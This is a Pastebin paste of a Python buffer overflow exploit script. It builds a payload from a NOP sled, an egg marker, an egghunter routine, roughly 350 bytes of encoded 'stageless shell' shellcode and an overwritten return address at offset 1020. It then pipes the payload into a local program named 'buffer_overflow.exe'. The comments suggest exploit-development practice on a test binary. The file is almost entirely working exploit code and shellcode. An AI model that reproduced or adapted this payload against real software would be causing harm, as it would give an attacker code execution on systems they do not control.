Advertisement
Guest User

Check_Final_Payload_Succeed.py

a guest
Nov 16th, 2018
129
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.84 KB | None | 0 0
  1. #! python
  2.  
  3. import os
  4. import sys
  5. import subprocess
  6. import binascii
  7. import time
  8. import struct
  9.  
  10. ### IF PROGRAM GOES TO ROOT FUNCTION AND CRASHES THEN SHELLCODE CONTAINS NO BAD CHARACTERS
  11. ### Find out bad characters are present in shellcode or egghunter code by putting shellcode or egghunter before EIP is overwritten (IF Bad Characters are present -> EIP will not be overwritten As input is truncated -> Program will not crash will lead to default behavior)
  12.  
  13. #Convert (77C35459) to Little Endian
  14. ESP_Address = "\x59\x54\xc3\x77"
  15.  
  16. ESP_Address = "\xC0\x15\x40\x00"
  17.  
  18.  
  19. Offset_EIP = 1020
  20.  
  21. #egg (w00t)
  22. egg = "\x77\x30\x30\x74"
  23. #egghunter NtAccessCheck (AndAuditAlarm) - 32 Bytes
  24. egghunter = "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8" +\
  25. "\x77\x30\x30\x74" + \
  26. "\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"
  27.  
  28. #Stageless Shell Bad Chars '\x00\x0a\x1a' Shellcode size is 350 Bytes
  29. shellcode = ""
  30. shellcode += "\x6a\x52\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13"
  31. shellcode += "\xb1\xd0\xb9\x59\x83\xeb\xfc\xe2\xf4\x4d\x38\x3b\x59"
  32. shellcode += "\xb1\xd0\xd9\xd0\x54\xe1\x79\x3d\x3a\x80\x89\xd2\xe3"
  33. shellcode += "\xdc\x32\x0b\xa5\x5b\xcb\x71\xbe\x67\xf3\x7f\x80\x2f"
  34. shellcode += "\x15\x65\xd0\xac\xbb\x75\x91\x11\x76\x54\xb0\x17\x5b"
  35. shellcode += "\xab\xe3\x87\x32\x0b\xa1\x5b\xf3\x65\x3a\x9c\xa8\x21"
  36. shellcode += "\x52\x98\xb8\x88\xe0\x5b\xe0\x79\xb0\x03\x32\x10\xa9"
  37. shellcode += "\x33\x83\x10\x3a\xe4\x32\x58\x67\xe1\x46\xf5\x70\x1f"
  38. shellcode += "\xb4\x58\x76\xe8\x59\x2c\x47\xd3\xc4\xa1\x8a\xad\x9d"
  39. shellcode += "\x2c\x55\x88\x32\x01\x95\xd1\x6a\x3f\x3a\xdc\xf2\xd2"
  40. shellcode += "\xe9\xcc\xb8\x8a\x3a\xd4\x32\x58\x61\x59\xfd\x7d\x95"
  41. shellcode += "\x8b\xe2\x38\xe8\x8a\xe8\xa6\x51\x8f\xe6\x03\x3a\xc2"
  42. shellcode += "\x52\xd4\xec\xb8\x8a\x6b\xb1\xd0\xd1\x2e\xc2\xe2\xe6"
  43. shellcode += "\x0d\xd9\x9c\xce\x7f\xb6\x2f\x6c\xe1\x21\xd1\xb9\x59"
  44. shellcode += "\x98\x14\xed\x09\xd9\xf9\x39\x32\xb1\x2f\x6c\x33\xb9"
  45. shellcode += "\x89\xe9\xbb\x4c\x90\xe9\x19\xe1\xb8\x53\x56\x6e\x30"
  46. shellcode += "\x46\x8c\x26\xb8\xbb\x59\xa0\x8c\x30\xbf\xdb\xc0\xef"
  47. shellcode += "\x0e\xd9\x12\x62\x6e\xd6\x2f\x6c\x0e\xd9\x67\x50\x61"
  48. shellcode += "\x4e\x2f\x6c\x0e\xd9\xa4\x55\x62\x50\x2f\x6c\x0e\x26"
  49. shellcode += "\xb8\xcc\x37\xfc\xb1\x46\x8c\xd9\xb3\xd4\x3d\xb1\x59"
  50. shellcode += "\x5a\x0e\xe6\x87\x88\xaf\xdb\xc2\xe0\x0f\x53\x2d\xdf"
  51. shellcode += "\x9e\xf5\xf4\x85\x58\xb0\x5d\xfd\x7d\xa1\x16\xb9\x1d"
  52. shellcode += "\xe5\x80\xef\x0f\xe7\x96\xef\x17\xe7\x86\xea\x0f\xd9"
  53. shellcode += "\xa9\x75\x66\x37\x2f\x6c\xd0\x51\x9e\xef\x1f\x4e\xe0"
  54. shellcode += "\xd1\x51\x36\xcd\xd9\xa6\x64\x6b\x49\xec\x13\x86\xd1"
  55. shellcode += "\xff\x24\x6d\x24\xa6\x64\xec\xbf\x25\xbb\x50\x42\xb9"
  56. shellcode += "\xc4\xd5\x02\x1e\xa2\xa2\xd6\x33\xb1\x83\x46\x8c"
  57.  
  58. Dummy_Data = ('\x90' * 200)
  59. NoOpSled_ToEggHunter = ('\x90' * (Offset_EIP - (len(Dummy_Data) + len(egg) + len(egg) + len(shellcode) + len(egghunter))))
  60.  
  61. #Jumps back -60 Btyes
  62. JmpBack = "\xeb\xc4"
  63. """
  64. print(len(Dummy_Data))
  65. print(len(egg))
  66. print(len(egg))
  67. print(len(shellcode))
  68. print(len(NoOpSled_ToEggHunter))
  69.  
  70. print(type(Dummy_Data))
  71. print(type(egg))
  72. print(type(shellcode))
  73. print(type(NoOpSled_ToEggHunter))
  74. print(type(egghunter))
  75. print(type(ESP_Address))
  76. print(type(JmpBack))
  77. """
  78. #final_payload = Dummy_Data + egg + egg + shellcode + NoOpSled_ToEggHunter + egghunter + ESP_Address + JmpBack
  79. final_payload = "\x90" * (Offset_EIP - len(egg+egg+shellcode)) +egg + egg + shellcode + ESP_Address
  80. print(len(final_payload))
  81. final_payload_bytes = final_payload.encode('raw_unicode_escape')
  82. print(hex(final_payload_bytes[1020]))
  83.  
  84. """
  85. print(hex(ord(final_payload[1022])))
  86. """
  87.  
  88. #print(hex(binascii.unhexlify(final_payload[0])))
  89. p = subprocess.Popen('buffer_overflow.exe', stdin=subprocess.PIPE) #NOTE: no shell=True here
  90. p.stdin.write(final_payload_bytes)
  91. #p.communicate()[0]
  92. p.stdin.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement